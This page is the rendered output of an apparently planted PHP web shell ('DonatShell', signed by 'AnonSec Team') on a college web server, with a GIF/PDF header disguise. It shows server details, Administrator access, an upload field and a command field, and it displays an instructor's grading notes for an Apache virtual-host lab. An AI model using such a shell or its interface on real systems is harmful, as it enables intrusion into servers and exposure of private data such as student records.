GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/JimMartinson/Classes/CST1611/Labs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/JimMartinson/Classes/CST1611/Labs/CST1611_Lab02_grading_notes.txt
Lab 2 - Virtual Hosts

Grading Criteria
Demonstrated assignment effectively: 10 points.
There are some things I expect. If they are incorrect you will lose the following:
Work submitted incorrectly: -1 pt. This covers errors such as incorrect files names, incorrect file formats, poor formatting, etc.
Second and subsequent submission of work for grading: -1 pt.
Work submitted late: -1 pt per week.
I reserve the right not to apply the deduction points at my absolute discretion.

#Lab 2
IndexOptions NameWidth=*
<VirtualHost *>
	DocumentRoot C:/Data_WWW/CST1611
	ServerName CST1611.loc
	ErrorLog logs/cst1611.loc.Error.log
	CustomLog logs/cst1611.loc.Access.log common
	<Directory C:/Data_WWW/CST1611>
		Options All +MultiViews
		AllowOverride All
		Require all granted
	</Directory>
</VirtualHost>

<VirtualHost host-ip-address>
	DocumentRoot C:/Data_WWW/CST1611/Lab02
	ErrorLog logs/IP.loc.Error.log
	CustomLog logs/IP.loc.Access.log common
	<Directory C:/Data_WWW/CST1611/Lab02>
		Options All +MultiViews
		AllowOverride All
		Require all granted
	</Directory>
</VirtualHost>

-10 Your CST1611_SamuelMulder_Lab02.zip file was empty.
=e

-1 Work submitted incorrectly.
   Your `Lab02` folder was misnamed `CST1611_LukeDobie_Lab02`.
   Inside of that you have another folder named `CST1611_LukeDobie_Lab02.zip`.
   They finally your files.
-1 Work submitted incorrectly.
   Your submission is missing the `!JasonCorby_Lab02.txt` file.
   You also have extra files in your submission.

screenshots:
-0 Work submitted incorrectly.
   Your screenshots were jpg images with a .png extension.
   Points will be deducted in the future for this type of error.
-4 Your screenshots do not show the url's I requested in steps 3.3 and 4.3.
   The instructions state: Make sure that the address bar is visible in your screenshot before saving the image.
-1 Step 4.3: Incorrect loaction in screenshot.
   You entered your IP address in the location bar of your browser.
   I need you to use the name: `host-ip-address`.

httpd.conf & hosts:
-6 Work submitted incorrectly.
   You did not include a copy of your hosts or httpd.conf file in your submission.
   Instead you have Windows shortcuts. Without these files I cannot verify your work.
=e
hosts:
-3 Work submitted incorrectly.
   You did not include a copy of your hosts file. Without this file I cannot fully verify your work.
=e
httpd.conf:
-5 Work submitted incorrectly.
   You did not include a copy of your httpd.conf file.
   Instead you have a Windows shortcut. Without this file I cannot verify your work.
=e

Step 3; Name-based Virtual Host
-5 You httpd.conf file is missing the Name-based VirtualHost from step 3.
   You have also removed the default VirtualHost from Lab 1.
   These labs should all stay in your httpd.conf file and not be removed.
   The instructions state: Go to the bottom of the file and add the lines:
=e

Step 4; IP-based Virtual Host
-5 Your httpd.conf file is missing the IP-based VirtualHost from step 4.
-4 Your VirtualHost directive does not specify the IP address host-ip-address.
   You have the * wildcard address instead.
   This is why, when you enter http://host-ip-address in your browser you do not begin in the C:/Data_WWW/CST1611/Lab02 directory.
-1 Your VirtualHost directive does not specify the IP address host-ip-address.
   You have your actual IP address instead.
   While this is normal for an IP based VirtualHost, I require you to use the named host: host-ip-address.
   This is so your httpd.conf file will work with my setup.
   It also allows you to change the IP address in the hosts file for host-ip-address if your computer moves to another location.

-2 Your <Directory> directive in line 548 does not define the root directory for this VH. See step 3.2.3.5.
-2 Your <Directory> directive in line 558 does not define the root directory for this VH. See step 4.2.2.6.

-1 Your httpd.conf was renamed httpd.txt. I need it as httpd.conf so I can test the config.

-1 Your `` screenshot was a jpg image file with a .png extension. All screenshots must be in png format.
-1 Both of your screenshots were the wrong image type (jpg) with a .png extension.

-1 Step 3.3; Your GerardoRamirez_Lab02.PNG screenshot was incorrectly named.
   It should be named GerardoRamirez_Lab02.png. Case matters!

-1 Step 3.3; Your GerardoRamirez_Lab02.PNG screenshot is of the wrong URL.
   It shows cst1611.loc/CST1611/Lab02 in the URL.
   The URL should only be cst1611.loc/CST1611/.
   I am confused by this as your httpd.conf file seems to be correct.
   I only see two possibilities:
      1) You did not restart Apache after configuring it.
      2) The use of both / and \ confused Apache about the document root.
         Try changing \ to / in your DocumentRoot C:/Data_WWW\CST1611.

-1 Step 4.3; Your JeremyRowe_Lab02_IP.PNG screenshot was incorrectly named.
   It should be named JeremyRowe_Lab02_IP.png. Case matters!
   This is the same problem so I am not deducting a point.
   
-1 Step 4.3; Your GerardoRamirez_Lab02_IP.png screenshot is of the wrong URL.
   It shows host-ip-address/CST1611/Lab02 in the URL.
   The URL should only be host-ip-address/.
   This is the same problem you had with step 3.

-1 You did not do step 2 as directed.

-1 The 'IndexOptions NameWidth=*' directive should have been place BEFORE you first <VirtualHost> directive.
   This would be between lines 529 and 530, not inside your Lab 2 VirtualHost configurations.

Your IP-based VirtualHost had problems
-1 The <VirtualHost 192.168.1.27> should have been <VirtualHost host-ip-address>.
-1 Your  screenshot is of the wrong URL.
   It shows /CST1611/Lab02 in the URL.
   This should not be there if the VirtualHost is working.
   I do not see a problem with the config. Did you forget to restart Apache?


-2 There is no Name-based VirtualHost for CST1611.loc configured in you httpd.conf file.
   These labs build on each other and configurations should not be removed unless directed by me.

-1 Your ErrorLog and CustomLog file names are incorrect for your CST1611.loc VirtualHost.
-1 Your CustomLog directive on line 547 does not have the correct filename for the log.

-0 You have Options directive settings that have not been covered yet.
-0 You have IndexOptions directive settings that have not been covered yet.


Anon7 - 2022
AnonSec Team